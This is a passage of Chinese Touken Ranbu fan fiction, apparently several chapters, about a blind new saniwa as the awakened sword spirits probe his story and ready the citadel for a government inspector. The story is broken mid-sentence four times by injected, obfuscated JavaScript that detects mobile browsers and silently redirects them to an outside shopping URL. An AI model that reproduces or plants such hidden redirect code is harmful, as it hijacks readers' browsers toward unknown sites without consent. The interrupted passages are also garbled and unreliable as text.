和三日月宗近这样的人说话一点也不会让人放松,心好累。 而且能糊弄一时但是糊弄不了一世,他还是得好好想一个理由。 仅仅是无家可归就决定来做审神者吗? 一个无家可归的,快要活不下去的瞎子,听起来不错。这样的身份足够可怜,也足够合理,旁人即便心存疑虑,也不会过多深究。 否则就是对自己良心的谴责。 让他再想想吧。 绫小路望在心底反复琢磨着说辞。 到底是什么情况,才会让系统的任务是“生存”呢?本丸会有什么危险。 还是说……刀剑男士也是危险之一? 既要帮忙又要提防……吗。 * 另一边,三日月宗近在庭院的树下找到了鹤丸国永。 或许是好久没有以人形面世,鹤丸国永彻底释放天性,东摸摸西看看,不放过庭院里的一草一木。 鹤丸国永原本蹲在地上,听到来人的脚步声,这才站了起来。 仅仅是一照面,他就看出三日月宗近刚才的谈话或许不太顺利,打趣道:“居然还有我们本丸老爷爷问不出来的事情吗?这可真是少见。” “别取笑我了,鹤丸殿。”三日月宗近有些无奈:“我又不是无所不能的神明,问不出来不是很正常吗。” 鹤丸国永叹了口气,收回脸上的笑容,神色认真了几分:“新任审神者都说了些什么。” 之前他是本丸的近侍,长久以来的习惯,总是让他想得比其他刀剑更多、更周全一点。 三日月宗近垂眸,盛着新月的眼眸中满含复杂。 过了好一会儿,他才缓缓开口:“说是误入这里,又无处可去,也从未见过狐之助。” “时之政府已经变得这么无能了吗。”三日月宗近随口评价道,“不太像他们的作风。” “这样啊……” 鹤丸国永闻言,安静了一瞬,下一秒又恢复平日里嬉皮笑脸的模样,“交给我好了,况且小乱不也说新任审神者很好吗。” 想到乱藤四郎私底下跟他说的事情,鹤丸国永缓缓抬起手,朝着头顶炙热的阳光伸去,指尖微微收拢,像是想要抓住什么,又或是单纯地想要遮挡住刺眼的日光,语气平静而通透:“灵力就是最好的证明,至少我们的审神者心思不坏,本性纯善,也确实不擅长征战杀伐。” “我还是觉得他没有说实话,始终在刻意回避,甚至用博取同情的话语转移我的注意力。” 三日月宗近蹙眉,语气中带着几分迟疑,“当然,这都是老爷爷瞎猜的,鹤丸殿听听就好。” “三日月,”鹤丸国永的声音很轻,尾音消散在空气中,“大家表面上都喜欢,并且相安无事,已经难能可贵了。” “足够了,对吧。” 三日月宗近沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520964|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,良久,他才轻轻颔首,慢悠悠道:“我知道了。” 随即,他又抬眼看向鹤丸国永,语气平静却带着几分笃定:“但也请不要私藏,若有其他事情,还请及时告知我们。” 鹤丸国永浑身一僵,下意识抖了抖,干笑着,“哈哈,我可是鹤丸国永,好消息当然会及时分享。” 三日月宗近只是静静的看着鹤丸国永,对这句话没有发表任何意见。 鹤丸国永被看得心里微微发毛,浑身不自在。 左右张望了一下,鹤丸国永的目光落在树干旁靠着的扫把上。 他眼睛一亮,快步上前一把拿起,不由分说地塞进了三日月宗近的手里:“三条家的部屋许久未曾打扫,就麻烦老爷爷亲自费心清扫了,我还有事先走一步!” 看着白鹤快步逃离的背影,三日月宗近不由得失笑,无奈地摇了摇头,语气里满是纵容:“还真是鹤丸殿的风格。” 握着扫把,三日月宗近缓步走向部屋,慢悠悠的脚步看似从容,心底却早已翻涌万千。 方才绫小路望对三日月宗近说得那番话,语气中刻意伪装的低落和话语的回避,虽藏得极好,却终究没能完全遮掩。 三日月宗近轻轻佛过廊檐上的落叶,眉眼温润,却盛满深思 。 无家可归、误入本丸,这番说辞看上去合情合理。可绫小路望周身纯净又磅礴的灵力,绝非普通人所能拥有,能毫无阻碍地与本丸契约相融,更是蹊跷。 能拥有灵力已经绝非常人,绫小路望又怎么会让自己流落到无家可归的地步?除非他此前并不知晓自己拥有灵力。 再者,身为普通人的绫小路望,在没有经历过时之政府培训的情况下,又是如何学会使用灵力,签订契约的? 虽然刀剑男士无法像审神者一样输出灵力,但三日月宗近见过前任审神者学习灵力的样子,并不容易。 他活过了漫长岁月,历经数朝更迭,见过太多的人心与隐秘,早已练就了通透洞察的心思。 三日月宗近忍不住叹息。 这样的审神者对他们来说,究竟是福是祸? 就像绫小路望说得那样,三日月宗近也担心绫小路望是否能安全出阵。 只要他们本丸开始正常运转,被时之政府监测到,绫小路望的任务就会立刻被派发下来。 他们这个本丸,还能再一次接受审神者因为任务而离开吗? 三日月宗近不敢让整个本丸一起赌。 他想起方才本体触碰绫小路望灵力时感受到的暖意,是温润的,就像是春日融雪,滋养着本丸的每一寸土地,保护着沉睡的刀剑。 他曾在一位强者身上感受过相似的灵力,绫小路望比那位少了凌厉,多了柔和。 如同鹤丸国永说的那样,只看灵力的话,绫小路望是一位好人。 但绫小路望身上的矛盾点实在太多。 罢了。 三日月宗近轻轻闭上眼,将心底的疑虑尽数压下。 岁月漫长,不必急于一时,眼下守着这份相安无事也好。 刀剑的使命,本就是守护。 9. 凑齐 借口有事先行离开的鹤丸国永,并没有如三日月宗近所想那般去偷懒闲逛,而是在庭院里绕了半圈,最后径直朝着绫小路望所在的地方走去。 但他并不是来续上三日月宗近的谈话的。 绫小路望安静地坐在原地,耳尖微微一动,清晰捕捉到一阵轻快而有活力的脚步声,由远及近,最后稳稳停在自己身前。 这个光团……是鹤丸国永? “审神者大人!” 鹤丸国永的声音清亮,带着几分刻意制造的惊喜感,快步走到他面前,蹲下,与绫小路望保持平行的高度,“一个人坐在这里会不会很无聊?我给您变个惊喜怎么样?” 绫小路望坐起身,顺着他的话开口:“鹤丸想给我什么样的惊喜?” 鹤丸国永神秘兮兮地笑了笑,凑近绫小路望,随即从身后变戏法一般拿出一朵刚摘的野花,递到他的脸边:“看!庭院里新开的小野花,是不是很好看。” 花瓣轻轻蹭过绫小路望的脸颊,带着阳光洒过的暖意和淡淡的花香,柔软又细腻。 绫小路望轻笑:“我很喜欢,谢谢鹤丸。” “所以,鹤丸是有什么想跟我说的吗?” 绫小路望不觉得鹤丸国永会莫名其妙来找他,更何况三日月宗近刚带着目的离开,很难不然他多想,干脆主动出击,把节奏掌握在自己手上。 鹤丸国永见他没有排斥,胆子也大了起来,坐在他身侧的台阶上,语气随意:“审神者大人把我想得真坏,我好心好意来陪您解闷,怎么能这样怀疑我。” 他声音中的委屈不似作假。 “那我可要跟乱说你偷懒了哦。” 绫小路望指得是乱藤四郎指挥他们整理本丸这事。 鹤丸国永瞬间垮了脸,语气充满戏剧性的求饶:“审神者大人就饶了我吧!” 他凑近了些,声音压低了几分,带着商量的口吻:“不如,把这个变成我们之间的秘密怎么样?” “好啊,如果鹤丸告诉我为什么要来找我,我就把这个当做秘密,不跟乱说。” 绫小路望态度温和,却油盐不进,笑盈盈道。 “一定要说吗,”鹤丸国永苦着脸,也不管绫小路望看不看得见,自顾自露出为难的表情,“我还以为审神者大人会更喜欢清净一点。” 绫小路望当然喜欢清净,但他更喜欢长久的清净。 没有回答。 但这份沉默足够鹤丸国永知晓绫小路望的答案。 叹了口气,鹤丸国永终于说起了自己此行的目的:“就是有一个小忙,需要审神者大人啦。” 绫小路望心底微微一松。 他还以为鹤丸国永也是来问问题的,不是就好。于是绫小路望干脆地说道:“好。” 似乎是怕鹤丸国永不相信,绫小路望补充到:“我是你们的审神者,帮忙是应该的。再说了,我麻烦你们的时候或许是更多。” “既然审神者大人这么说,那我就放心了。” 鹤丸国永拉过绫小路望的双手,语气透着几分轻快,“审神者大人觉得自己还能唤醒多少刀剑男士?” 绫小路望没有抽回手,只是安静地等待着鹤丸国永的下文。 “您与本丸签订契约后时之政府会收到消息,过几天就会派政府的监察官来本丸进行评估。都通过的话就要正式运转起来,出阵完成任务了。” “刚才跟乱去仓库的时候我们清点了目前还能使用的物资,只能撑三天,所以需要尽快组织一支远征队伍和活动队伍。” “这几天还需要麻烦审神者大人了。” “远征”的意思绫小路望已经从乱藤四郎口中得知,但“活动”又是什么? 鹤丸国永察觉到绫小路望的困惑,很贴心地做出解释:“时之政府会隔一段时间开辟出虚拟战场,供各个本丸积攒物资和小判。如果有表现优异的本丸,时之政府还会派发奖励。” 绫小路望听懂了。 “一队需要多少刀剑男士?” “六位。”鹤丸国永立刻回答。 “我知道了。” 鹤丸国永见绫小路望答应的这么快,也没有多问,只是说道:“不必急,在监察官正式来之前凑齐队伍就行,届时应该会发通知。” “鹤丸似乎很清楚这些?” 绫小路望从话中听出了其他意思。 鹤丸国永没有隐瞒,松开手,微微坐直身体,语气认真了几分:“前任审神者就职期间由我担任近侍一职,文书工作接触得比较多。” 他顿了顿,直白的提出了想法:“如果审神者大人信我,我会担任临时近侍,帮助您习惯工作后再选出新的近侍。” 这么直接吗? 绫小路望没有一口答应,而是说道:“你知道吗,鹤丸。” “我一直觉得能够相信的真心只有野心。” “审神者大人。”鹤丸国永的语气不变,“您误会了。” “如果您有更喜欢的人选,可以跟我说,我会把近侍的任务交接完成。” 绫小路望没有说话,任凭沉默在他们之间滋长。 就在这时,一阵诱人的食物香气顺着微风飘来,钻入鼻尖。绫小路望猜测晚饭好了,一下子失去了聊天的欲望。 “反正我也什么都不懂,就先麻烦你了,鹤丸。” 绫小路望撑着导盲杖站了起来,“晚饭时间到了。” 意思是他们的话题到此为止。 “小光的手艺真好啊,” 像是刚才的谈话只是错觉一般,鹤丸国永语气瞬间上扬,恢复往日的跳脱,“审神者大人肯定会喜欢的。” “什么什么?审神者大人喜欢什么?” 乱藤四郎的声音伴随着凌乱的脚步声,他和太鼓钟贞宗一前一后跑向大广间。不知道是不是同伴被唤醒的缘故,乱藤四郎比离开前活泼了很多。 “在说今天的晚饭。”鹤丸国永回答,好奇地看着两把小短刀怀中的刀剑,“都找到了谁?” 本丸需要人手的事情不用鹤丸国永提醒,其他人心里也都清楚,乱藤四郎一开始拖慢进度也只是怕绫小路望身体受不了。 “是三条家和粟田口家的人。” 太鼓钟贞宗小心翼翼地把刀剑平铺在桌子上,轻声解释,“三日月殿需要人照顾,所以我和乱就想着去三条家的部屋碰碰运气。” “对对,”乱藤四郎接上了太鼓钟贞宗的话,“本来我们只看见了岩融殿,但离开的时候刚好碰见三日月殿,他帮我们在角落里找到了其他刀剑。” 他鼓了鼓嘴,似是有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520965|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泄气,“但是我们没找到小狐丸殿,不知道他藏哪里去了。” “嘛,总会找到的。”鹤丸国永扫了一眼他们放在桌子上的刀,发现其中没有太刀,有些疑惑,“乱没有找到一期殿吗?” “一期尼根本没想着藏,”乱藤四郎笑嘻嘻地回复,语气中带着小小的骄傲,“但是其他兄弟们都极化满级了,一期尼就再等一会儿吧。” “乱和兄弟们这么厉害。”站在一旁的绫小路望有些惊讶。 “是呀,审神者大人。” 知道绫小路望如今行走并不是很需要导盲杖,乱藤四郎很自然地凑上来,挽住了绫小路望的手臂,语气亲昵,“审神者大人可以多多依靠我们粟田口哦。” 他极力地安利着。 “乱好坏!” 太鼓钟贞宗立刻不满地叫了一声,小心翼翼地霸占了绫小路望的另一只手,见他没有拒绝,才放心地跟着一起撒娇, “审神者大人不要听乱的,他们粟田口可是本丸最大黑恶势力——” “略略略。”乱藤四郎打断他的话,冲着太鼓钟贞宗做鬼脸,“你就是嫉妒我们人多,是吧审神者大人。” 被挤到一旁的鹤丸国永有些无奈:“小心别让审神者大人摔了。” 两把短刀这才收敛了一些。 绫小路望只觉得耳边突然清净,终于有了说话的机会,好奇道:“为什么说是黑恶势力?” “乱的兄弟们很恐怖吗?” “呃,”太鼓钟贞宗卡壳,不知道该怎么解释,有些后悔刚才一时嘴快。 完了,审神者大人不会觉得他是在故意摸黑粟田口吧。 不要啊,他们可是超和谐的本丸,千万不要被误会啊。 “审神者大人有所不知。”鹤丸国永清嗓,装模作样地说道,“我们刀剑男士之间,是有机动性区分的。短刀的机动性最高,对敌时出手最快,而粟田口的刀剑大多为短刀。” “毕竟战场上可不讲回合制。” 鹤丸国永意有所指地补充了一句。 “原来如此。” 绫小路望恍然大悟,合理猜测,“是因为出手快其他人都打不过,所以才被成为黑恶势力吗?” “有这个原因。”鹤丸国永笑而不语,“我们走吧,小光该等急了。” “对哦,烛台切殿让我们来叫审神者大人用餐。” 乱藤四郎用眼神示意了一下太鼓钟贞宗,小声催促道,“快放开啦,你这样审神者大人怎么走路。” “那你怎么不放开,审神者大人还要拿导盲杖。” 仗着绫小路望看不见,太鼓钟贞宗回敬了一个鬼脸,“我说三二一,我们一起放。” “谁听你的。” 话是这么说,但乱藤四郎还是跟太鼓钟贞宗一同放手,“等下我能坐在审神者大人旁边吗?” “好。” 绫小路望试探地对着乱藤四郎在的方向伸出手,悬在空中。 身边的乱藤四郎立刻心领会神,往下蹲了蹲,主动把自己的脑袋凑到绫小路望的掌心之下,撒娇道:“我就知道审神者大人最好啦。” 说完,他得意地对着一旁的太鼓钟贞宗,比了一个胜利的手势。 手感比想象中的好。 绫小路望想。 10. 建设 【监察官七日后到访。】 简短的一行文字,清晰地显示在通讯器屏幕上,贴心地进行了语音播报。 绫小路望关闭通讯器,把它交给了一旁候着的、特意从天守阁取来的鹤丸国永。 “需要准备什么吗?” 绫小路望主动询问,语气认真。 不得不说,鹤丸国永是一位靠谱且负责的近侍。 若是说乱藤四郎对他是无微不至、贴心入微的照料,那鹤丸国永就是在教绫小路望如何当好一个合格的审神者,告诉他审神者的职责是什么,更偏向于引导和帮扶。 鹤丸国永被唤醒的第二天,就把绫小路望带到天守阁,从最基础的锻刀和手入方式开始介绍,一直到出阵归来后需要完成的文书报告的全过程都完完整整介绍了一遍,没有丝毫遗漏。 “明明都是狐之助应该做的事。” 当时鹤丸国永说了半天,口干舌燥,嘟囔着,“不知道我们本丸的狐之助这些年在哪潇洒了,不会连本丸重新签订契约都感受不到吧。” 考虑到绫小路望实际上看不到刀账上的具体内容,只能感应到哪一页对应哪一位刀剑男士。鹤丸国永特意抽出时间,详细说明了各个刀派和组织,给绫小路望进行了一波历史扫盲。 这让绫小路望终于有了一种自己在某个职位上工作的实感。 他身上肩负着打理本丸,和刀剑男士一同守护的责任。 “大概就是来检查一下本丸是否能正常运作,目前有多少被唤醒的刀剑,还有您的灵力状况吧。” 鹤丸国永沉睡之前多少还是了解过一些的,他接过通讯器,小心翼翼地将其收好,“不会让您一下子唤醒所有刀剑的,这点请放心。” “一般来说考核不会很苛刻。” 短短几天时间,本丸已经有20位刀剑男士被绫小路望唤醒,原本空寂冷清的庭院逐渐被欢声笑语覆盖,内番逐渐提上了日程。 “那如果不合格,会怎么样?” 绫小路望微微蹙眉。 这个问题把鹤丸国永问住了,他也不是很清楚,只能凭着常理猜测道:“大概会让您换一个新本丸?” “毕竟满足条件的审神者很稀缺,总不能让您离开这。” 说这话时鹤丸国永语气平淡,似乎一点别的想法也没有,就好像他根本不在乎重新进入沉睡,重新开始漫长的等待这个可能性,毫无怨言。 “审神者大人放心好了,您学得很快,况且本丸不是已经步入正轨了吗。” 似乎是觉得绫小路望有些紧绷,鹤丸国永适时安慰,“说到底这只是走个过场,来都来了,又怎么会让您轻易离开呢。” 说的也是。 绫小路望深吸一口气,压下心底升起的一抹疑虑:“乱他们是不是快回来了?” 时之政府会定时在通讯器上提醒最近开辟的虚拟战场。巧的是,最近在进行的活动是地下城。 看到通知的鹤丸国永眼睛一亮,跟绫小路望解释该活动可以在短时间内快速获得大量小判,可以解决本丸目前的困境。 “而且很适合短刀作战,粟田口家的刃刚好可以凑成一对。怎么样审神者大人,有点心动了吗?” 绫小路望当然心动了。 而且是很心动。 本丸现在没小判,没物资,连大米也没有。刚种下的蔬果也不可能立刻收获,烛台切光忠就算是厨神也不可能凭空变出食材。 他们已经连续吃了好几顿鱼了,清蒸的,炙烤的,做成汤的……虽然鱼肉被烛台切光忠费尽心思做出了花,但绫小路望也遭不住每顿都吃同样的食材。 只要有了小判,他们就能前往万屋,采购新鲜食材、生活物资,彻底改善眼下的伙食,不用再顿顿只吃鱼肉。 绫小路望急切地想要拯救自己的味蕾。 “那我等下通知乱。”表面上,绫小路望还是一副平静的样子,“这个活动会很难完成吗?” “前五十层会比较简单,后面难度逐渐上升,不过乱他们早就到达极99,对他们来说会很轻松。”鹤丸国永语气轻松。 不知想到了什么,鹤丸国永更开心了,赞叹道:“不愧是乱,提前让您把博多唤醒了,太贴心了。” “博多藤四郎?为什么这么说。” 绫小路望只记得他也是粟田口派的刀剑,其他并无印象。莫非有什么特殊的吗? “把博多编入队伍可以在原有的基础上获得更多的小判。”鹤丸国永回答,“剩下的就让那孩子自己来跟您说吧。” 不过计划赶不上变化,最后绫小路望还是没有见到博多藤四郎。 博多藤四郎从乱藤四郎口中得知,绫小路望要派一只队伍去往地下城,瞬间打起了精神。急冲冲地拿上刀装,拉着兄弟们一头扎进地下城活动,二十四小时连轴转的待在地下城挖小判了。 至少在绫小路望醒着的时候没碰见他们回本丸。 绫小路望不免担心他们的身体会不会累得吃不消,但刀账告诉他六位短刀精神都很好甚至是飘花状态。 “博多很擅长带队地下城,他知道分寸。” 看着绫小路望忧心仲仲的样子,鹤丸国永开口打消他的顾虑,“不要小看刀剑男士啊,审神者大人。” 所以三日月宗近之前说站久了很累果然是骗他的。 绫小路望一想到三日月宗近就觉得有些头大,他算是知道太鼓钟贞宗当时为什么说需要唤醒三条家的人来照顾三日月宗近了。 此刃有一种比他这个瞎子还生活不能自理的窒息感。 明明是天下五剑之一,也太随性了吧。 到也不是真的不能自理,只是三日月宗近总是会给人一种,如果让他去做家务事,就绝对会出事的错觉。 绫小路望每次安排三日月宗近去做内番地时候,傍晚都会得到大失败的反馈,让人哭笑不得。 万般无奈之下,绫小路望干脆派三日月宗近去远征了。 总不能让三日月宗近坐在他身边,天天跟他谈心吧,绫小路望可受不了。 而且他又不是只派三日月宗近去远征,同为三条家的今剑和岩融都跟在身边,绫小路望不怕三日月宗近迷路。 老爷爷就应该出去散步才对。 绫小路望看似平静,其实是没招了。 三日月宗近给他的第一印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520966|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象明明是一个高深莫测的大佬,到底为什么会变成这样? 他想不明白,于是选择眼不见心不烦。 哦,不对,他本来就看不见。 总之,派三日月宗近出去远征是一个不错的决定,他们偶尔能给本丸带一些绿色蔬菜或是酸甜的野果回来,稍微换换口味,一举两得。 绫小路望为自己的机智点了个赞。 昨天博多藤四郎让烛台切光忠带话,傍晚之前他们就能打通整个地下城,把小判带回来。 算算时间,也该回来了。 因为身体原因,绫小路望和鹤丸国永坐在大广间商议事务,其他刀剑男士特意避开了这片区域,不做打扰。 没过多久,门口便传来了轻快又热闹的脚步声,伴随着乱藤四郎清脆的欢呼,绫小路望知道,他们回来了。 绫小路望还没来得及开口欢迎,博多藤四郎快步上前,邀功似的说道:“一共25万小判,不辱使命。” “回来的时候刚好碰上远征队伍,拜托他们把小判箱搬到仓库去了。” 药研藤四郎补充到, “这次地下城远征收获颇丰,这些小判足够本丸支撑很长一段时间,还能额外购置大量物资。” 六位短刀个个神采奕奕,虽说他们连日在地下城作战,却丝毫不见疲惫,反倒满是凯旋归来的欣喜。 “辛苦你们了,太棒了。”绫小路望夸奖,“有什么想要的吗?” “审神者大人,可、可以摸摸我的头吗?”标志性的声音让绫小路望分辨出说话的是五虎退。 “好啊。”绫小路望答应了下来,伸出手,“可以麻烦退过来吗。” “谢谢审神者大人!” 五虎退声音惊喜,小跑着上来,“能帮审神者大人分忧,我很开心。” 柔软的卷毛摸着很舒服。 “我可以抱抱审神者大人吗?”见状,信浓藤四郎也提出了自己的请求。 他和绫小路望还不怎么熟悉,刚醒来就被博多藤四郎拉去挖地下城,就趁着这个机会想要和绫小路望亲近一点。 绫小路望没什么不好答应的,“还有要抱的吗?”他张开双臂。 “我也要!”包丁和乱欢呼,一头扎了进来,一人三刃抱做一团。 “博多和药研呢?”绫小路望将头偏向站在原地的两个人,“有什么想要的奖励吗?” “我想要管理本丸的小判。”博多藤四郎说道,“我会让小判变得越来越多,审神者大人放心好了!” “那就交给博多了。” 反正是他们自己赚的小判,不亏。 就算亏了也是刀剑再赚回来。 药研藤四郎没有提出什么额外要求,只是说:“谢谢您能让我和兄弟们再次团聚,很感谢您,审神者大人。” 看着闹做一团的人,药研藤四郎的嘴角勾起一抹笑意。 但绫小路望觉得不能厚此薄彼,想了想:“那就下次多唤醒一些粟田口派的刀吧。家人就要整整齐齐在一起才行,对吧。” 药研藤四郎沉默了一下:“谢谢审神者大人。” 看来乱说得没错。 药研藤四郎想。 11. 准备 不知是不是被改善了味蕾的缘故,最近绫小路望能感受到本丸内的所有刀剑男士兴致空前高涨。出阵的出阵,挖地的挖地,像是被提速了一样,透着一股莫名的紧迫感。 感觉大家都在为了更好的生活奋斗着! 只有他,绫小路望,还是每天跟咸鱼一样,醒了吃,吃了坐,坐了吃,吃了睡,循环着。 在把除了刀账和保护装置之外的所有物件从天守阁搬到部屋后,要不是药研藤四郎坚持,半哄半劝绫小路望每日在本丸内散步运动,他估计自己每天的步数只有二位数。 “这不很好吗,审神者大人。” 听完绫小路望的困扰,药研藤四郎低低轻笑一声,“大家都想为您分忧。” 不过短短的几次接触,药研藤四郎就察觉出他们的新任审神者身体并不好,面色也总是苍白,便在闲暇之余偶尔来绫小路望这为他探查身体状况。 药研藤四郎虽然治不了眼睛,但他能在烛台切光忠的帮助下调理绫小路望的身体。 现在本丸内的小判有了富余,没什么是在万屋买不到的。 “果然还是因为监察官吧。”绫小路望若有所思,“感觉大家都比我要紧张呢。” “这是因为大家都很喜欢您,不想您因为我们的原因离开本丸。” 药研藤四郎端给绫小路望一杯热茶,“说到底,时之政府也只是不放心我们这些二手刀剑的表现,只要能让监察官看到本丸如今正常运转,就没事了。” 同样的话鹤丸国永也说过,但绫小路望隐隐觉得有哪里不对。 可具体是哪,他又答不上来。 但有一点绫小路望清楚,最后真正出问题的不可能是刀剑男士,只可能是他。 绫小路望微微攥紧了手,不动声色道:“明日监察官就要来了吧。” “是的,审神者大人。”药研藤四郎回答,“明日所有队伍都会留守本丸,具体事项晚点鹤丸殿会跟您商讨。” 这时候就有人要问了,那鹤丸国永现在去哪了? 他去满本丸找刀了。 除了药研藤四郎之外的所有短刀都跟绫小路望申请了出阵,留在本丸的其他人不是在做内番,就是在帮忙准备晚饭,审神者的事务也交接地差不多了,于是整个本丸只剩下鹤丸国永一个闲人。 但太刀的侦查值众所周知,一下午过去了,鹤丸国永也只在本丸内找到了一把刀。 明日监察官要来,虽然不急着唤醒刀剑男士,但也不能叫人看到本丸地上随意躺着一把刀剑,又或是七零八落地散落在部屋地板上。 要不收好,要不就把它们放到刀架上。 至于他们找不到的? 那监察官就更看不到了,不要紧。 鹤丸国永正在为了本丸的面子工程而奋斗着。 晚饭过后,鹤丸国永嘱咐绫小路望明日能不回答就不回答,其他的一切都交给他们后,就去三条派的部屋找三日月宗近了。 绫小路望闲来无事,反正白日还是黑天对他来说没有任何区别,便一个人拿上导盲杖,准备再去一趟天守阁。 虽说鹤丸国永把办公物品都移了过来,但前任审神者留了一些资料在天守阁。 绫小路望虽然不能视物,或许是审神者之间独有的默契,前任审神者把一些东西改造成用灵力就能“看见”,让绫小路望方便了很多。 再不济,随便抓一位刀剑男士朗读都行。 前段时间绫小路望在鹤丸国永的帮助下向时之政府申请了无障碍阅读器,等监察合格之后就会送到本丸。 这样一些机密文件就不再需要刀剑男士经手,绫小路望可以自己判断。 ——虽然绫小路望也想象不到有什么文件会机密到连付丧神都看不了。 时之政府应该不会做出不干人事的事情吧? 本丸静悄悄地,偶尔传来一两声急切的脚步和手合场传来的木刀碰撞的声音,绫小路望畅通无阻,很快来到了天守阁。 本丸天守阁共有三层,顶端是保护刀账的地方,二层据鹤丸国永所说便是存放文书和资料的地方。 不过他平日里只放不取,并不知道前任审神者究竟放了些什么在里面。 前任审神者应当有点强迫症。 绫小路望摸着一个个书架,略过灵力感知到的存放工作报告的地方,来到最深处的书架处。 最里面或许是很久没人打扫了,架子上落了一层灰,绫小路望屏住呼吸走过因为他的脚步而扬起的灰尘,停在了一本厚厚的本子前。 除了这个本子之外,这个书架上全部都是装订整齐的文件夹。绫小路望不知道都是些什么,便对与众不同的本子起了好奇心。 拿下,吹开上面的灰,绫小路望翻开其中一页,指尖传来的触感让他微微惊讶。 ——居然是手写的! 他又多翻了几页,摸上去还是一样的字迹。 会是前任审神者写的吗? ……有点想拿回去。 没有上锁的话,应该是可以给刀剑男士看的东西吧。 鹤丸国永在教绫小路望基础工作的时候,也跟他强调了一些作为审神者需要有的保密意识。 比如真名,比如个人信息。 作为刀剑分灵的他们,本身依靠审神者的灵力才能拥有人形,因此并不存在名即是咒,获得审神者真名就可以神隐这种事情。 但毕竟属于神明,拥有过多牵绊不管在什么时候对人类来说都不会是什么好事。 况且隔墙有耳,就连时之政府,审神者也不能将自己的所有信息上报,防患于未然。 “我不怎么喜欢和旁人接触,代号就算了。”鹤丸国永问起时,绫小路望是这么回答的。 审神者代号是用于审神者们之间相互称呼的,就连平常交给政府的出阵报告写的都是本丸编号。 一般情况下,审神者是不会离开本丸的,但有时候时之政府考虑到任务难度,有时会让两个本丸共同完成,便需要代号了。 “如果真的需要一个称呼的话,叫我noz……” 绫小路望话还没说完,就被鹤丸国永捂住了嘴,“嗯?” 他只能疑惑地发出气音。 “还不是说真名的时候哦,审神者大人。” 鹤丸国永弯着眼,松开了手,“哈哈,看来被我猜对了。” “鹤丸怎么知道我要说真名的?”绫小路望好奇。 鹤丸国永伸出一根手指,轻轻“嘘”了一下:“秘密。” 回过神,绫小路望手指摩擦了一下封面,犹豫再三还是把本子放了回去。 ……算了,还是等无障碍阅读器到了再来吧。 他还是更想自己看。 * 绫小路望一早就被加州清光叫醒了。 喜爱打扮自己的打刀不由分说塞了一套衣服给绫小路望:“这是我和乱在万屋挑的,特别适合您!” 光滑的布料入手,不是传统的和服或是狩衣,而是更偏现代的休闲衬衫。 “总不能让您继续穿旧衣服。”加州清光撒娇道,“虽然我是很愿意审神者大人穿我们的内番服,但新衣服还是要买的。” 绫小路望掉入本丸的时候什么也没带,过了这么多天,衣物总是要换洗的。本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520967|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丸内一时半会儿找不到适合绫小路望的衣服,只能问身形差不多的刀剑男士借内番服将就穿着。 当然,这个将就是其他人的感觉,绫小路望没有任何表示,他觉得能穿就行。 “鹤丸殿和您差不多高,我们参考着他买的,尺寸不适合的话我可以现场帮审神者大人改哦。” 絮絮叨叨地交代完所有事,加州清光拉开部屋的门,“审神者大人换好了叫我一声,我在外面。” 话音落下,拉门被轻轻合上,屋内恢复了安静。 绫小路望摸索着,慢慢将身上的旧衣服换下,穿上这套崭新的衣服。 尺寸很合适 。 绫小路望摸不出具体是什么材质,只感觉穿在身上冰冰凉凉地,身上也轻了很多。肩线腰身也十分贴合,少了些夏日带来的沉闷感,穿上去舒服又自在。 “我好了。”绫小路望朝门外喊到。 加州清光推门而入,视线全然被站在中央的少年吸引住。 快步上前,上下打量着,加州清光语气里全是对自己审美的赞赏:“审神者大人很适合穿深色系,太帅了,这件衣服简直就是为您量身定做的。” 他冲着绫小路望比了个大拇指,尽管知道审神者看不见,但加州清光还是想把自己的情绪表达出来。 “我替您打扮一下?”帮绫小路望整理了一下领子,加州清光轻声询问,“就做个发现,审神者大人碎发有点多了。” 见绫小路望没有抗拒,加州清光小心翼翼将绫小路望额前的碎发拨开,指尖轻轻梳理。 他站在原地摆弄着绫小路望的头发,赞叹道:“审神者大人是我见过最美的人,这般好看的样貌您自己却看不见,真是太可惜了。” 